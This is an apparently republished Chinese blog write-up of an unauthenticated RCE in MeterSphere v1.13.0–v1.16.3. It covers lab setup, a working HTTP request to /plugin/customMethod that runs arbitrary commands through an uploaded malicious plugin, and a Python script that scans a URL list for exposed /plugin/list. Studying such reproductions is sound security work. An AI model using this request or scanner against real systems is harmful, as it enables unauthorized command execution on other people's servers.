前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Metersphere未授权RCE

Metersphere未授权RCE

作者头像
UzJu@菜菜狗
发布2022-04-25 21:03:05
2K0
发布2022-04-25 21:03:05
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗

一、环境搭建

影响范围:MeterSphere v1.13.0 - v1.16.3

可以去releases里面找以前的版本

image-20220109141800023
image-20220109141800023

或者直接在官网下载也可以,建议下载离线版本

image-20220109141853685
image-20220109141853685

随后下载到服务器并解压

代码语言:javascript
复制
tar -zxvf metersphere-offline-installer-v1.13.0.tar.gz 
image-20220109142037678
image-20220109142037678
image-20220109142251712
image-20220109142251712

直接运行install.sh即可

代码语言:javascript
复制
./install.sh 

然后等待片刻即可,然后查看docker ps

image-20220109142347679
image-20220109142347679

然后这个时候访问ip:8081端口即可,如果访问的时候提示超时或者其他情况,等待一下就行

二、漏洞复现

image-20220109143053000
image-20220109143053000

账号为admin密码为metersphere

image-20220109143034357
image-20220109143034357

我们访问到插件管理后,burp抓到一个包,一个list包

image-20220109143411548
image-20220109143411548

然后我们就可以发现,把cookie删掉,也是可以访问到这个接口

image-20220109143509040
image-20220109143509040

那么这样,我们随意上传一个插件试试

image-20220109143542153
image-20220109143542153

随后会抓到一个add的请求

image-20220109143706309
image-20220109143706309

那既然这样,大概的流程如下

image-20220109144235307
image-20220109144235307

通过在twitter中搜集信息和查看官方插件发现

image-20220109144347677
image-20220109144347677

都用了io.metershpere.plugin.DebugSampler

那么我们直接在github里面搜索, 然后选择code就会发现一个github

https://github.com/metersphere/metersphere-plugin-DebugSampler

image-20220109144747965
image-20220109144747965

随后我们先把这个项目下载到本地,mave重新打包一下

image-20220109151623819
image-20220109151623819

然后直接上传这个插件

image-20220109151658698
image-20220109151658698

然后点击查看脚本

image-20220109151812759
image-20220109151812759

会抓到如下请求

image-20220109151849152
image-20220109151849152

这里我想的是能否把这些返回信息改成返回执行的系统命令,或者去写那个自定义方法

我们可以看到这里留给了一个自定义的方法,可以编写自己的代码逻辑

image-20220109151859223
image-20220109151859223

因为Java不太行,所以这里感谢zhzyker提供的jar包

我们将插件上传后可以去docker中查看日志

image-20220109152427548
image-20220109152427548

我们可以看到这里的日志已经执行了

image-20220109152446756
image-20220109152446756

然后我们构造如下请求

代码语言:javascript
复制
POST /plugin/customMethod HTTP/1.1 
Host: ip:8081 
User-Agent: python-requests/2.22.0 
Accept-Encoding: gzip, deflate 
Accept: */* 
Connection: close 
Content-Length: 68 
Content-Type: application/json 
{"entry": "io.metersphere.plugin.DebugSampler.cmd", "request": "id"} 
image-20220109152525352
image-20220109152525352

即可执行任意命令

通过JD-GUI反编译jar包也可以看到,新建了一个cmd类,里面再customMethod方法里面写了执行请求过来的命令

image-20220109153503053
image-20220109153503053

然后我们看官方的修复,发现新增了一行代码(虽然没有自己debug和看)

image-20220109153608411
image-20220109153608411

并且删除了

image-20220109153729594
image-20220109153729594

三、POC

poc编写比较简单,只需要判断/plugin/list是否可读即可

代码语言:javascript
复制
#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
''' 
@Project :UzJuSecurityTools  
@File    :poc.py 
@Author  :UzJu 
@Date    :2022/1/7 21:21  
@Email   :UzJuer@163.com 
''' 
import requests 
requests.packages.urllib3.disable_warnings() 
requests.DEFAULT_RETRIES = 100 
def checkVuln(url): 
    poc = "/plugin/list" 
    r = requests.get(url=url + poc, 
                     verify=False, 
                     timeout=3) 
 if r.status_code == 200 and b"data" in r.content: 
        print(f"[+]{url}-存在漏洞", r.content) 
 else: 
        print(f"[-]{url}-不存在漏洞") 
if __name__ == '__main__':  
    with open('./url.txt', 'r') as f: 
 for url in f.read().splitlines(): 
            checkVuln(url) 
本文参与?腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客?前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、环境搭建
  • 二、漏洞复现
  • 三、POC
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com